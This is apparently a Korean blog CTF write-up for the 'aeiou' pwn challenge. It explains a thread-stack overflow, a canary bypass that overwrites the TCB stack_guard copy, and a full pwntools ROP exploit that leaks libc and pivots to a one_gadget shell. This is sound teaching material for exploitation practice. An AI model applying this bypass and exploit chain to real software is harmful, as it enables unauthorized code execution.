간단하게 요약하면 취약점이 있는 함수는 3번 메뉴다.
3번 메뉴의 함수를 보면 pthread_create 함수로 start_routine이란 함수를 thread로 실행시킨다.
start_routine 함수를 보면 s변수의 크기는 '(rbp-0x1010) - 8' 만큼 있고,
getNumber()함수로 받은 수가 65536보다 작으면 vuln()함수를 실행시킨다.
vuln()함수는 a3만큼 a2에 read하는 함수다.
즉 여기서 overflow가 일어난다.
number를 65535 까지 입력할 수 있는데 아까 s변수는 rbp-0x1010-8이다 즉 4104 만큼이 s변수고 그 다음에 오버플로우로 ret까지 덮을 수 있다.
하지만 이 문제는 카나리가 있어서 우회를 하던가 leak을 해야 한다.
ptrhead함수에 의해 thread로 실행한 함수는 thread의 stack에 TLS(Thread Local Storage)를 사용하여 변수를 저장하고, 원래 카나리를 thread의 stack으로 복사한 후 카나리 체크를 할 때는 해당 스택으로 복사된 카나리와 비교를 한다고 한다.
만약 오버플로우로 복사된 카나리 값 까지 원하는 값으로 덮어 버리게 되면 내가 원하는 값이 카나리로 들어가게 되는 원리다.
우선 gdb로 카나리 값 전까지 입력을 준 다음 thread의 stack으로 복사된 TCB 구조체의 stack_guard 값을 find 명령으로 찾아보았다.
rbp-0x8에 있는 값이 카나리다.
stack에 위치한 카나리와 stack_guard의 거리는 0x7e0(2016)이다.
즉 카나리 부터 2016바이트까지 덮은 다음 8바이트를 원하는 값으로 채워주면 카나리를 우회할 수 있다.
이 원리를 이용해 rop를 했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | from pwn import * #r = process("./aeiou", env={"LD_LIBRARY_PATH":"."}) r = process( "./aeiou" ) elf = ELF( './aeiou' ) libc = ELF( './libc.so' ) pop_rdi = 0x4026f3 pop_rsi_r15 = 0x4026f1 pop_rsp = 0x4026ed puts_plt = elf.plt[ 'puts' ] puts_got = elf.got[ 'puts' ] read_plt = elf.plt[ 'read' ] read_got = elf.got[ 'read' ] bss = elf.bss() + 0x200 payload = "\x00" * ( 0x1010 - 8 ) payload + = "DDDD" * 4 payload + = p64(pop_rdi) payload + = p64(puts_got) payload + = p64(puts_plt) payload + = p64(pop_rdi) payload + = p64( 0 ) payload + = p64(pop_rsi_r15) payload + = p64(bss) payload + = p64( 0 ) payload + = p64(read_plt) payload + = p64(pop_rsp) payload + = p64(bss - 0x18 ) payload + = "D" * 2000 r.sendlineafter( ">>" , "3" ) r.sendlineafter( "Let me know the number!" , str ( len (payload))) r.send(payload) pause() r.recvuntil( ":)\x0a" ) libc_puts = u64(r.recv( 6 ).ljust( 8 , "\x00" )) libc_base = libc_puts - libc.symbols[ 'puts' ] log.info( "libc_puts = {}" . format ( hex (libc_puts))) one_gadget = libc_base + 0x4526a pause() r.sendline(p64(one_gadget)) r.interactive() |
다른분의 라업을 보고 알았는데 bss에 oneshot 가젯의 주소를 read한 다음에 pop_rsp 가젯으로 bss영역을 실행하도록 하는 방법이 신박하다.
return to csu로 풀은 것도 봤는데 다음번에 써봐야겠다.
'CTF' 카테고리의 다른 글
BTH_CTF 2019 (0) | 2019.05.01 |
---|---|
plaid 2019 can you guess me? (0) | 2019.04.15 |
CSAW2016 tutorial (0) | 2019.02.01 |
TJCTF 2016 oneshot (0) | 2019.01.24 |
QIWICTF 2016 pwn200 (0) | 2019.01.23 |